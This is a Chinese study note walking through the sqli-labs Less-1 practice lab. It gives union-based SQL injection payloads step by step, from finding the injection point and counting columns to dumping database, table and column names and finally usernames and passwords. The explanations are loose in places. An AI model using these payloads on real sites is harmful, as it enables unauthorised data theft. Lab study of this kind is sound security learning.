目录
点进第一关
开始进行练习
首先进行判断有无注入点
测试要点(传入的id要大,随便乱输,然后要用or 1=1,使条件成真,传的时候因为不知道是字符型还是数字型,所以都要测试一遍,哪个有回显就是属于哪个的注入类型,别忘了--+注释掉后面的SQL语句)
在本关字符型的注入中输入id=1也没有报错的原因是mysql里面有一个机制,他将我们输入的1 or 1=1当成了一个整体传入到SQL语句,由于机制会将数字后面的所有东西都会过滤所以相当于查找id=‘1’的那条数据。
因为这是靶场所以肯定是有注入点的,但是流程还是得走
因为这一关是用的GET提交的所以在URL(网络链接)处,可以看到我们提交的数据
所以直接在URL处进行注入,在URL后面直接输入?或者index.php?再跟上id=xxx再跟上or 1=1--+(--+是注释的意思,#也是同样意思,将后面的代码注释掉,因为我们输入的东西传入数据库的时候,他原本的SQL语句后面还是有代码的,要将他注释掉,才可以成功运行)
http://localhost/sqli-labs/Less-1/?id=123456 or 1=1--+
或者
http://localhost/sqli-labs/Less-1/index.php?id=123456 or 1=1--+
这句代码的意思是,因为我们传入的id是随便乱输的,所以肯定是错的,所以我们运用逻辑或or来让他成功执行,逻辑or只要一个为真就为真,也可以用其他,如and,具体看自己心情吧
id的值可以随便乱输,只要他回显了就说明这里有注入点
可以发现输入数字没有反应,那接下来就试一下字符
在数字后面加上'(单引号),发现内容有了变化,直接弹出了用户名,密码,所以说明这里有注入点,而且是属于字符型注入。
猜解字段数量
判断有注入点之后,接下来开始猜解字段,看他有多少个字段。
使用方式:使用order by +数字(1-100),直到他开始报错为止,order by的作用就不多赘述,主要就是用来排序的,找不到那个字段,就没办法排,很简单
这里有3个字段,因为试到4的时候报错了
localhost/sqli-labs/Less-1/?id=54654654' or 1=1 order by 4--+
判断回显点
直到有几个字段后就要开始,判断回显点了,目的是为了找到,数据返回的位置,好方便我们查看,方便进行进一步的注入
方法:运用union(联合查询)
localhost/sqli-labs/Less-1/?id=54654654' union select 1,2,3--+
发现2,3 是回显点
接下来就可直接进行下一步操作了
直接上代码,不多bb
查询数据库名
http://localhost/sqli-labs/Less-2/?id=55 union select 1,group_concat(schema_name),3 from information_schema.schemata--+
查询表名
localhost/sqli-labs/index.php?id=11 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查字段名
localhost/sqli-labs/index.php?id=99 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
查询用户名和密码
localhost/sqli-labs/index.php?id=111 union select 1,2,(select group_concat(username,0x3a,password) from users)--+
简简单单下班下班
声明:本人写这个只是为了方便自己学习以及复习使用,并不是为了其他,如有不周到之处还请包涵。